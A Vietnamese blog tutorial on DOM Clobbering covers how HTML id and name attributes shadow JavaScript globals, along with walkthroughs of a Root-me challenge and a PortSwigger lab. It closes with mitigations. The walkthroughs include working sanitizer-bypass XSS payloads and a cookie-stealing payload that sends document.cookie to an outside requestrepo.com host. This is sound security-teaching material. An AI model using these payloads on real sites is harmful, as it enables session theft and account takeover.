- vừa được xem lúc

Tìm hiểu về Dom Clebbring

0 0 9

Người đăng: coffeeday

Theo Viblo Asia

Mở đầu

Bài viết này được viết theo cách hiểu của mình sau khi tham khảo nhiều nguồn khác nhau, và có thể hơi khó hiểu hay vẫn còn sai sót. Hy vọng nhận được những góp ý từ mọi người :>. Trong bài viết này mình test trên browser là Edge, và một số thứ có thể không hoạt động đúng trên trình duyệt không phải từ chromium based.

DOM Clobbering là gì? Nó được sử dụng khi nào?

Theo PortSwigger: DOM Clobbering là một kỹ thuật inject HTML vào một trang để thao tác với DOM với mục địch cuối cùng là thay đổi hành vi của JavaScript trên trang. Kỹ thuật đặc biệt hữu ích trong trường hợp không thể thực hiện được XSS, nhưng có thể kiểm soát các HTML elements trên trang có thuộc tính id hoặc name sau khi được filter bằng whitelist. Thuật ngữ clobbering (ghi đè) xuất phát từ thực tế là việc "clobbering" một biến global hoặc thuộc tính của một đối tượng và thay vào đó ghi đè lên nó bằng DOM hoặc HTMLCollection.

Tổng quan

object window và khả năng truy cập

Theo WHATWG về named access on the window object:

WHATWG là viết tắt của "Web Hypertext Application Technology Working Group." Đây là một nhóm làm việc chuyên nghiên cứu và phát triển các chuẩn web.

Như vậy khi truy cập name qua window (window[name] hay window.name) sẽ trả về một element hoặc là một collection các elements. Một điều đặc biệt là: khi một element được gán attribute id thì có thể truy cập được đến element đó qua window với nameid. Với tính chất của object window thì: id đó trở thành biến global gọi đến element kia.

Còn khi có nhiều element có cùng id nó sẽ trở thành HTMLCollection:

Khác với id thì attribute name cũng như vậy nhưng đối với một số tags nhất định. Bằng script đơn giản để xem tag nào có thể lấy được từ window:

tags = ['a', 'a2', 'abbr', 'acronym', 'address', 'animate', 'animatemotion', 'animatetransform', 'applet', 'area', 'article', 'aside', 'audio', 'audio2', 'b', 'bdi', 'bdo', 'big', 'blink', 'blockquote', 'body', 'br', 'button', 'canvas', 'caption', 'center', 'cite', 'code', 'col', 'colgroup', 'command', 'content', 'custom tags', 'data', 'datalist', 'dd', 'del', 'details', 'dfn', 'dialog', 'dir', 'div', 'dl', 'dt', 'element', 'em', 'embed', 'fieldset', 'figcaption', 'figure', 'font', 'footer', 'form', 'frame', 'frameset', 'h1', 'head', 'header', 'hgroup', 'hr', 'html', 'i', 'iframe', 'iframe2', 'image', 'image2', 'image3', 'img', 'img2', 'input', 'input2', 'input3', 'input4', 'ins', 'kbd', 'keygen', 'label', 'legend', 'li', 'link', 'listing', 'main', 'map', 'mark', 'marquee', 'menu', 'menuitem', 'meta', 'meter', 'multicol', 'nav', 'nextid', 'nobr', 'noembed', 'noframes', 'noscript', 'object', 'ol', 'optgroup', 'option', 'output', 'p', 'param', 'picture', 'plaintext', 'pre', 'progress', 'q', 'rb', 'rp', 'rt', 'rtc', 'ruby', 's', 'samp', 'script', 'section', 'select', 'set', 'shadow', 'slot', 'small', 'source', 'spacer', 'span', 'strike', 'strong', 'style', 'sub', 'summary', 'sup', 'svg', 'table', 'tbody', 'td', 'template', 'textarea', 'tfoot', 'th', 'thead', 'time', 'title', 'tr', 'track', 'tt', 'u', 'ul', 'var', 'video', 'video2', 'wbr', 'xmp']
for(tag of tags){ html = `<${tag} name="test">` document.body.innerHTML = html try{ if(window.test){ console.log(tag) } } catch{}
}

Kết quả:

=>Như vậy các tags: embed, form, iframe, image, img, object có thể dùng được dưới window từ attribute name

object document và khả năng truy cập

Tương tự với window:

Tham khảo tại: https://html.spec.whatwg.org/multipage/dom.html#dom-tree-accessors

  • Với attribute id: Test với script:
tags = ['a', 'a2', 'abbr', 'acronym', 'address', 'animate', 'animatemotion', 'animatetransform', 'applet', 'area', 'article', 'aside', 'audio', 'audio2', 'b', 'bdi', 'bdo', 'big', 'blink', 'blockquote', 'body', 'br', 'button', 'canvas', 'caption', 'center', 'cite', 'code', 'col', 'colgroup', 'command', 'content', 'custom tags', 'data', 'datalist', 'dd', 'del', 'details', 'dfn', 'dialog', 'dir', 'div', 'dl', 'dt', 'element', 'em', 'embed', 'fieldset', 'figcaption', 'figure', 'font', 'footer', 'form', 'frame', 'frameset', 'h1', 'head', 'header', 'hgroup', 'hr', 'html', 'i', 'iframe', 'iframe2', 'image', 'image2', 'image3', 'img', 'img2', 'input', 'input2', 'input3', 'input4', 'ins', 'kbd', 'keygen', 'label', 'legend', 'li', 'link', 'listing', 'main', 'map', 'mark', 'marquee', 'menu', 'menuitem', 'meta', 'meter', 'multicol', 'nav', 'nextid', 'nobr', 'noembed', 'noframes', 'noscript', 'object', 'ol', 'optgroup', 'option', 'output', 'p', 'param', 'picture', 'plaintext', 'pre', 'progress', 'q', 'rb', 'rp', 'rt', 'rtc', 'ruby', 's', 'samp', 'script', 'section', 'select', 'set', 'shadow', 'slot', 'small', 'source', 'spacer', 'span', 'strike', 'strong', 'style', 'sub', 'summary', 'sup', 'svg', 'table', 'tbody', 'td', 'template', 'textarea', 'tfoot', 'th', 'thead', 'time', 'title', 'tr', 'track', 'tt', 'u', 'ul', 'var', 'video', 'video2', 'wbr', 'xmp']
for(tag of tags){ html = `<${tag} id="test">` document.body.innerHTML = html try{ if(document.test){ console.log(tag) } } catch{}
}

Kết quả:

Như vậy chỉ có tag object.

  • Với attribute name: Script tương tự:
tags = ['a', 'a2', 'abbr', 'acronym', 'address', 'animate', 'animatemotion', 'animatetransform', 'applet', 'area', 'article', 'aside', 'audio', 'audio2', 'b', 'bdi', 'bdo', 'big', 'blink', 'blockquote', 'body', 'br', 'button', 'canvas', 'caption', 'center', 'cite', 'code', 'col', 'colgroup', 'command', 'content', 'custom tags', 'data', 'datalist', 'dd', 'del', 'details', 'dfn', 'dialog', 'dir', 'div', 'dl', 'dt', 'element', 'em', 'embed', 'fieldset', 'figcaption', 'figure', 'font', 'footer', 'form', 'frame', 'frameset', 'h1', 'head', 'header', 'hgroup', 'hr', 'html', 'i', 'iframe', 'iframe2', 'image', 'image2', 'image3', 'img', 'img2', 'input', 'input2', 'input3', 'input4', 'ins', 'kbd', 'keygen', 'label', 'legend', 'li', 'link', 'listing', 'main', 'map', 'mark', 'marquee', 'menu', 'menuitem', 'meta', 'meter', 'multicol', 'nav', 'nextid', 'nobr', 'noembed', 'noframes', 'noscript', 'object', 'ol', 'optgroup', 'option', 'output', 'p', 'param', 'picture', 'plaintext', 'pre', 'progress', 'q', 'rb', 'rp', 'rt', 'rtc', 'ruby', 's', 'samp', 'script', 'section', 'select', 'set', 'shadow', 'slot', 'small', 'source', 'spacer', 'span', 'strike', 'strong', 'style', 'sub', 'summary', 'sup', 'svg', 'table', 'tbody', 'td', 'template', 'textarea', 'tfoot', 'th', 'thead', 'time', 'title', 'tr', 'track', 'tt', 'u', 'ul', 'var', 'video', 'video2', 'wbr', 'xmp']
for(tag of tags){ html = `<${tag} name="test">` document.body.innerHTML = html try{ if(document.test){ console.log(tag) } } catch{}
}

Kết quả:

Có thể thấy các tags embed, form, iframe, image, img, object có thể ghi được vào document với attribute name. (Điều này giống với object window).

Tại sao lại vậy?

Khi web được load, browser sẽ tạo DOM Tree để thể hiện cho cấu trúc, nội dung của trang web. Thuật toán named property visibility là một cơ chế quy định cách mà các atrribute được gán trong HTML được truy cập và xử lý trong JavaScript. Khi một trang web chứa các elements HTML với atrribute id hoặc name, browser sẽ tự động ánh xạ các elements này thành các object trong JavaScript dựa trên các atrributes đó. Điều này có nghĩa là các phần tử HTML có id hoặc name sẽ trở thành các properties của object window hoặc document trong JavaScript. => Khi có sự trùng tên giữa biến JavaScript và element HTML, browser sẽ ưu tiên truy cập đến element HTML thay vì biến JavaScript. Điều này dẫn đến việc một biến JavaScript có thể bị clobbering bởi element HTML cùng tên đó, và điều này có thể dẫn đến các cuộc tấn công như XSS thông qua DOM Clobbering.

Clobbering trong objectdocument

Như đã nói, ta đã biết được khả năng truy cập từ windowdocument, nhưng thực sự đã có việc có thể ghi đè ở đây hay không?
Câu trả lời là: với document thì có còn với window thì không.
Trước tiên ta đề cập tới vấn đề prototype.

Object prototypes

Lấy ví dụ với object sau:

const person = { name: "chuong", greet() { console.log('hello'); },
};

object trên có 1 property name và 1 method là greet(). Tuy nhiên không chỉ vậy, object này còn có nhiều properties khác nữa:

Chúng đến từ đâu? Mọi object trong JavaScript đều có một built-in property, được gọi là prototype. Bản thân prototype là một object, vì vậy prototype sẽ có prototype của nó, tạo nên prototype chain. Chain này kết thức khi chạm tới giá trị null.

  • Để lấy prototype ta sử dụng Object.getPrototypeOf(obj)

    Hoặc có thể sử dụng __proto__. Ví dụ: person.__proto__

    Khi cố gắng truy cập vào property của object, nếu không tìm thấy trên chính đối tượng đó thì sẽ chuyển sang prototype của object đó để tìm kiếm.

  • Để kiểm tra một property có thuộc object đó không ta sử dụng obj.hasOwnProperty(), method này sẽ chỉ kiểm tra trong chính obj hiện tại:

    Do ở đây toString thuộc prototype của nó:

window

Quay trở lại, với element HTML chứa attribute idname mà ta có thể truy cập từ window:

Nhưng nó không được clobbering vào object window để trở thành property:

Thay vào đó nó thuộc về:

Như vậy không clobbering từ window:

Note: Điều này chỉ đúng trên trên Chromium-based browser. (Có thể việc xử lý window trên Chomre khác với browser khác)

document

Như vậy là document có thể clobbering được.

Điều này cũng có nghĩa là document sẽ dễ bị attack:

HTMLCollection

Như đã nhắc ở đâu đó phía trên thì HTMLCollection là collection các elements có cùng id hoặc name. Nó cũng collect các elements cùng id lẫn name, trông rất chán =))

Quay trở lại với ví dụ đơn giản là cùng id: Để truy cập element chỉ định ta có thể sử dụng index: 0, 1, 2,... để lấy các element hoặc sử dụng name. Theo specs về việc supported property names:

Ví dụ:

Tương tự việc truy cập element từ HTMLCollection có cùng attribute name và dựa vào id.

toString()

Đây là method convert từ object sang string. Cái hay của nó không không chỉ nằm trong JavaScript mà còn ở các ngôn ngữ khác như PHP, Java,... Đó là việc tự động thực thi khi obj được dùng dưới dạng string. Trong JavaScript, một số hàm có thể làm điều này như: String(), innerHTML, outerHTML, innerText,... Ví dụ về innerHTML:

Như vậy là mảng arr trên đã tự chuyển sang string.

Quay trở lại với Dom Clebbering, chúng ta chỉ control x, y, x.y, x.y.z, ... dưới dạng element. Vậy các element đó khi chuyển sang string sẽ như thế nào? Với tag div nó sẽ trở thành [object HTMLDivElement]:

Nó chỉ trả về thông tin của tag đó. Vậy có phải tag nào cũng như vậy không? Câu trả lời là không.

Ví dụ khác với tag <a id="x" href="http://example.com"></a>, kết quả thu được:

http://example.com/ - giá trị href, lý do là tag <a> tương ứng với interface HTMLAnchorElement có instance method toString() trả vè giá trị của href:

Để kiểm tra xem còn tag nào như vậy không, ta dùng một đoạn script:

tags = ['a', 'a2', 'abbr', 'acronym', 'address', 'animate', 'animatemotion', 'animatetransform', 'applet', 'area', 'article', 'aside', 'audio', 'audio2', 'b', 'bdi', 'bdo', 'big', 'blink', 'blockquote', 'body', 'br', 'button', 'canvas', 'caption', 'center', 'cite', 'code', 'col', 'colgroup', 'command', 'content', 'custom tags', 'data', 'datalist', 'dd', 'del', 'details', 'dfn', 'dialog', 'dir', 'div', 'dl', 'dt', 'element', 'em', 'embed', 'fieldset', 'figcaption', 'figure', 'font', 'footer', 'form', 'frame', 'frameset', 'h1', 'head', 'header', 'hgroup', 'hr', 'html', 'i', 'iframe', 'iframe2', 'image', 'image2', 'image3', 'img', 'img2', 'input', 'input2', 'input3', 'input4', 'ins', 'kbd', 'keygen', 'label', 'legend', 'li', 'link', 'listing', 'main', 'map', 'mark', 'marquee', 'menu', 'menuitem', 'meta', 'meter', 'multicol', 'nav', 'nextid', 'nobr', 'noembed', 'noframes', 'noscript', 'object', 'ol', 'optgroup', 'option', 'output', 'p', 'param', 'picture', 'plaintext', 'pre', 'progress', 'q', 'rb', 'rp', 'rt', 'rtc', 'ruby', 's', 'samp', 'script', 'section', 'select', 'set', 'shadow', 'slot', 'small', 'source', 'spacer', 'span', 'strike', 'strong', 'style', 'sub', 'summary', 'sup', 'svg', 'table', 'tbody', 'td', 'template', 'textarea', 'tfoot', 'th', 'thead', 'time', 'title', 'tr', 'track', 'tt', 'u', 'ul', 'var', 'video', 'video2', 'wbr', 'xmp']
for(tag of tags){ html = `<${tag} id="x">` document.body.innerHTML = html try{ if(!x.toString().includes('[object')){ console.log(tag) } } catch{}
}

Kết quả:

Và có thêm tag <area> tương tự tag <a>:

Root-me: DOM Clobbering

Trước khi tìm hiểu tiếp, ta thực hành một bài trên root-me.

image

Phân tích

Trên /renderer,

Bài sử dụng thư viện DOMPurify 2.3.4:

image

Để filter input:

// Purify input
input = DOMPurify.sanitize(input);

1 đoạn code debug_script với mục đích tạo ra tag <script>:

if(typeof debug != 'undefined') { // Debug header document.getElementById("debug_header").innerHTML = "<h1>Debug Mode Activated</h1>" // Debug output // document.write("2") // Custom debug custom_debug = document.createElement('script'); try { const path = String(debug.path).slice(8,) // Note for admin: slice used to avoid bugs, fix it as soon as possible const params = debug.params.textContent const debug_url = new URL("http://debug.secure_renderer" + path + "/debug" + params); // Make sure that right FQDN and endpoint is being used and generate URL object custom_debug.src = debug_url.origin + debug_url.pathname // Set final secure url as custom debug script source } catch {} document.body.appendChild(custom_debug);
};

Cả 2 được truyền vào html để render (được enable thêm CSP):

image

Với payload bình thường đã bị filter qua thư viện:

image

Khai thác

Với chức năng debug theo script trên, điều kiện đầu tiên là typeof debug != 'undefined', ta chỉ cần inject tag html có id=debug là được, ví dụ <div id=debug></div>

image

Như vậy là đã đi được vào. Dựa vào Dom Clebbering, ta có thể control được debug và cả pathparams.

const path = String(debug.path).slice(8,)
const params = debug.params.textContent

Từ đó control được debug_url:

const debug_url = new URL("http://debug.secure_renderer" + path + "/debug" + params);

Tức là src của tag <script> luôn:

custom_debug.src = debug_url.origin + debug_url.pathname
...
document.body.appendChild(custom_debug);

Trong HTMLCollection, ta còn có thể truy cập element dựa vào attribute name. Ví dụ:

image

Như đã nói element <a> (HTMLAnchorElement) có instance method là toString() và nó sẽ tự động gọi khi qua hàm String() để trả về giá trị href:

image

Ở đây mình thấy params không cần thiết nên sẽ bỏ qua ~~ (tuy nhiên vẫn cần thêm vào đề tránh gặp lỗi)

Quay trở lại với việc tạo path:

  • Thứ nhất là path sẽ slice(8,) tức là cắt bỏ đi 8 ký tự đầu, ta cần phải custom cho phù hợp.

    const path = String(debug.path).slice(8,)
    
  • Thứ hai: host hiện tại là debug.secure_renderer ta có thể thay đổi nó bằng @ vì URL object trong javascript có thể parse nó.

    image

Trước khi nói tiếp thì mình đề cập thêm chức năng của web:

image

image

Ta có thể tạo ra nội dung file JS tương ứng:

image

Mình mất khá nhiều thời gian để tìm cách bypass CSP và bất thành cho đến khi phát hiện điều này ༼ つ ◕_◕ ༽つ

Vì path được nối thêm /debug nên cần comment nó lại.

Vậy ta sẽ hướng đến URL của tag script như sau: http://challenge01.root-me.org:58057/callback/alert(1);/

Tóm lại payload hiện tại sẽ là:

<a id=debug>
<a id=debug name=path href="//a@challenge01.root-me.org:58057/callback/alert(1);/"></a>
<div id=debug name=params>a</div>

image

Kết quả:

image

Tag script được tạo khi đó:

image

Bây giờ tạo payload để lấy cookie thôi:

<a id=debug>
<a id=debug name=path href="//a@challenge01.root-me.org:58057/callback/location.href='https://3smz6rsl.requestrepo.com%3Fc='+document.cookie;/"></a>
<div id=debug name=params>a</div>

Đoạn script khi đó:

image

image

Gửi URL vào phần /report và chờ đợi 1-2 phút:

image

form element

Đây là một kỹ thuật phổ biến sử dụng element form kết hợp với element khác như input để clobbering x.y (trong đó x có thể là bất kỳ x, window.x, hoặc document.x) Khác với việc clobbering thông thường từ tag khác, form có có mỗi quan hệ parent-child với tag khác, điển hình là input.

Để kiểm tra xem có tag nào tương tự input ta dùng script:

tags = ['a', 'a2', 'abbr', 'acronym', 'address', 'animate', 'animatemotion', 'animatetransform', 'applet', 'area', 'article', 'aside', 'audio', 'audio2', 'b', 'bdi', 'bdo', 'big', 'blink', 'blockquote', 'body', 'br', 'button', 'canvas', 'caption', 'center', 'cite', 'code', 'col', 'colgroup', 'command', 'content', 'custom tags', 'data', 'datalist', 'dd', 'del', 'details', 'dfn', 'dialog', 'dir', 'div', 'dl', 'dt', 'element', 'em', 'embed', 'fieldset', 'figcaption', 'figure', 'font', 'footer', 'form', 'frame', 'frameset', 'h1', 'head', 'header', 'hgroup', 'hr', 'html', 'i', 'iframe', 'iframe2', 'image', 'image2', 'image3', 'img', 'img2', 'input', 'input2', 'input3', 'input4', 'ins', 'kbd', 'keygen', 'label', 'legend', 'li', 'link', 'listing', 'main', 'map', 'mark', 'marquee', 'menu', 'menuitem', 'meta', 'meter', 'multicol', 'nav', 'nextid', 'nobr', 'noembed', 'noframes', 'noscript', 'object', 'ol', 'optgroup', 'option', 'output', 'p', 'param', 'picture', 'plaintext', 'pre', 'progress', 'q', 'rb', 'rp', 'rt', 'rtc', 'ruby', 's', 'samp', 'script', 'section', 'select', 'set', 'shadow', 'slot', 'small', 'source', 'spacer', 'span', 'strike', 'strong', 'style', 'sub', 'summary', 'sup', 'svg', 'table', 'tbody', 'td', 'template', 'textarea', 'tfoot', 'th', 'thead', 'time', 'title', 'tr', 'track', 'tt', 'u', 'ul', 'var', 'video', 'video2', 'wbr', 'xmp']
for(tag of tags){ html = `<form id=x > <${tag} id="y"></form>` document.body.innerHTML = html try{ if(x.y){ console.log(tag) } } catch{}
}

Kết quả:

Như vậy là các tags: button, fieldset, image, img, input, object, output, select, textarea dùng được. (các tag này dùng id hay name đều được)

Ví dụ: Lab: Clobbering DOM attributes to bypass HTML filters trên PortSwigger.

Bài này dùng thư viện HTMLJanitor dính lỗ hổng. Về cơ bản, nó tương tự các sanitize của DomPurify: tạo DOM -> duyệt qua các Node -> Filter whitelist. Theo config:

image

Điều này cho phép sử dụng input với thuộc tính name, type, value; form với thuộc tính id.

Hàm _sanitize thực hiện filter, trong đó tạo TreeWalker và lấy ra node đầu tiên qua method firstChild():

image

Sau đó duyệt qua từng attribute của node để filter:

image

Mục tiêu của bài này là clobbering node.attributes để nó trả về undefined để flow code không đi qua vòng lặp => bypass filter.

Vì vậy trong form vào ta inject tag inputname="attributes" => method firstChild() nhận tag input này => clobbering

Payload:

<form id=x tabindex=0 onfocus=print()><input id=attributes>

Ta trigger event onfocus dựa vào id với fragment.

image

Kết quả:

image

Giờ chỉ việc khai thác qua exploit server:

image

Okay.

image

iframe element

Khác với các tag khác, đối với iframe, khi truy cập từ id sẽ trả về element, còn khi truy cập từ name sẽ trả về window chứa iframe đó:

iframe có attribute srcdoc để tạo ra #document mới.

Từ đó ta dùng name từ iframe để lấy ra các element trong srcdoc để thực hiện DOM Clobbering (điều này tương tự với object window đã nói phía trên).

Clobbering Higher Levels

Kỹ thuật này có thể clobbering lên chuỗi properties: a.b.c.d...

DOMC Payload Generator

a.b.c.d:

<iframe name="a" srcdoc="<iframe name='b' srcdoc='<a id=c></a><a id=c name=d href=clobbered></a>'></iframe>"></iframe>

a.b.c.d.e:

<iframe name=window srcdoc=" <iframe name=a srcdoc=&quot; <iframe name=b srcdoc=&amp;quot; <iframe name=c srcdoc=&amp;amp;quot; <iframe name=d srcdoc=&amp;amp;amp;quot; <a id='e' href='clobbered'></a> &amp;amp;amp;quot;></iframe> &amp;amp;quot;></iframe> &amp;quot;></iframe> &quot;></iframe> "></iframe>

Phòng chống

  • HTML Sanitization: sử dụng DOMPurify kèm option SANITIZE_DOM hay SANITIZE_NAMED_PROPS hoặc Sanitizer API
  • CSP
  • Sử dụng Object.freeze()
  • Validate input
  • Không sử dụng document, window cho biến global
  • Cẩn thận với Document Built-in APIs
  • Sử dụng strict

Tham khảo tại:

Bình luận

Bài viết tương tự

- vừa được xem lúc

Tổng quan một số kỹ thuật khai thác lỗ hổng bảo mật Web (P1)

Trong thời đại công nghệ phát triển hiện nay, việc đảm bảo an ninh thông tin trên không gian mạng đang là vấn đề dành được nhiều sự quan tâm. Nguy cơ mất an toàn thông tin đang là mối đe dọa lớn và ngày càng gia tăng đối với an ninh quốc gia.

0 0 95

- vừa được xem lúc

[Secure coding - Part 3] Là developer cần làm gì để ứng dụng của mình an toàn và bảo mật hơn?

Tổng quan về vấn đề bảo mật. Đây là nội dung nối tiếp trong phần 1.

0 0 62

- vừa được xem lúc

[Secure coding - Part 4] Là developer cần làm gì để ứng dụng của mình an toàn và bảo mật hơn?

Tổng quan về vấn đề bảo mật. Trở lại với chuỗi bài viết về hướng dẫn lập trình an toàn cho lập trình viên, bài viết thứ tư trong series's post: Secure coding for developers sẽ tiếp tục với nội dung về

0 0 81

- vừa được xem lúc

[Secure coding - Part 5] Là developer cần làm gì để ứng dụng của mình an toàn và bảo mật hơn?

Tổng quan về vấn đề bảo mật. Trở lại với chuỗi bài viết về hướng dẫn lập trình an toàn cho lập trình viên, bài viết thứ tư trong series's post: Secure coding for developers sẽ tiếp tục với nội dung về

0 0 39

- vừa được xem lúc

IDOR là gì và ứng dụng bạn code có bị lỗi IDOR không?

Tổng quan. Nếu bạn là một pentester thì có thể đã quen với lỗ hổng bảo mật IDOR.

0 0 173

- vừa được xem lúc

Lỗ hổng Business logic trong bảo mật ứng dụng website

Tổng quan. Các lỗ hổng bảo mật website như SQL Injection, UnBroken Access Control, Unrestricted File Upload, XSS chắc không còn xa xạ với nhiều người làm bảo mật hay lập trình viên.

0 0 38